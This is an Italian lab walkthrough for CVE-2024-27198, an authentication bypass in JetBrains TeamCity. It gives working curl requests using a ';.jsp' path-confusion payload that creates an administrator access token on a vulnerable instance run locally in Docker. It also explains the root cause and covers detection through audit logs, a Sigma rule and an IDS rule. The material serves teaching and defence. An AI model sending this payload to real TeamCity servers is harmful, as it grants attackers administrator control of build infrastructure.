TeamCity fornisce una pagina riservata agli amministratori per la gestione dei token che non è protetta da autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare l'ID di un utente esistente.
La vulnerabilità risiede nel meccanismo di routing dell'API REST. Aggiungendo caratteri specifici (come ?jsp=/app/rest/...;.jsp) a un endpoint non autenticato, gli attaccanti possono ingannare il server web di TeamCity facendogli instradare la richiesta verso un endpoint autenticato, bypassando i filtri di sicurezza. Questo non richiede alcuna conoscenza o accesso preliminare, rendendola una pura 9.8 CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Accedi all'istanza TeamCity vulnerabile all'indirizzo http://localhost:8111. Accedi all'istanza TeamCity patchata all'indirizzo http://localhost:8112.
Nome utente:
admin
Password:
admin
Richiesta GET per una risorsa senza autenticazione:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Entrambe dovrebbero restituire un errore con codice di stato 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Questo dovrebbe restituire un token simile a questo (il token è diverso ogni volta):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Questo dovrebbe restituire un errore con codice di stato 401 perché l'istanza patchata non presenta la vulnerabilità.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Dovrebbe restituire l'elenco degli utenti.
Durante la dimostrazione in laboratorio, puoi mostrare un'importante scoperta per il Blue Team: per impostazione predefinita, questa vulnerabilità è incredibilmente stealth!
;.jsp non vengono registrate.Quindi come lo intercettiamo? Quando l'attaccante copre le proprie tracce! Quando l'attaccante elimina il proprio token non autorizzato per nascondersi, TeamCity lo registra.
Trova l'attaccante che copre le proprie tracce nei log di audit:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Vedrai una voce di log che indica che il token "REDTEAM" è stato eliminato).
docker compose -f docker-compose.yml down
Questa vulnerabilità è un'istanza di CWE-288: bypass dell'autenticazione tramite un percorso o canale alternativo.
Il difetto deriva da un problema di confusione del percorso tra il server web Tomcat e il router dell'applicazione TeamCity. Aggiungendo ;.jsp e passando l'endpoint REST API di destinazione nel parametro jsp=, il filtro di sicurezza iniziale interpreta la richiesta come una richiesta non autenticata a un file .jsp pubblico (che è consentito). Tuttavia, il router interno rimuove ;.jsp e inoltra la richiesta all'endpoint /app/rest/ riservato senza applicare il filtro di autenticazione.
Caso d'uso legittimo (perché ; è consentito?):
Tomcat utilizza il punto e virgola (;) per i parametri Matrix. Storicamente, questo meccanismo viene usato per passare parametri direttamente nel percorso, ad esempio aggiungendo JSESSIONID per mantenere lo stato della sessione utente quando i cookie sono disabilitati. Questo comportamento normale e legittimo del server web, combinato con la validazione impropria da parte del router dell'applicazione TeamCity, è ciò che crea la vulnerabilità.
Per rilevare una compromissione in corso o passata, i Blue Team dovrebbero cercare:
/app/rest/ ma contenenti la stringa anomala ;.jsp nell'URI.teamcity-server.log): generazione inspiegabile di token di accesso o creazione di nuovi account amministrativi.Poiché l'exploit iniziale è stealth per impostazione predefinita, i Blue Team devono affidarsi al rilevamento delle azioni post-exploitation dell'attaccante, come la copertura delle proprie tracce. Ecco una regola Sigma per il tuo SIEM per rilevare eliminazioni sospette di token:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Per dimostrare che questo rilevamento funziona, esegui lo script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Per rilevare questo tentativo di sfruttamento in rete, un SOC può implementare la seguente regola IDS, che cerca il pattern anomalo ;.jsp combinato con i percorsi dell'API REST:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Per dimostrare che la mitigazione funziona, puoi lanciare lo stesso identico payload dell'exploit contro il container TeamCity patchato in esecuzione sulla porta 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Poiché la patch applica rigorosamente il matching delle route e igienizza correttamente i parametri matrix, il bypass fallirà. Dovresti vedere una risposta 401 Unauthorized o 404 Not Found invece di un token generato.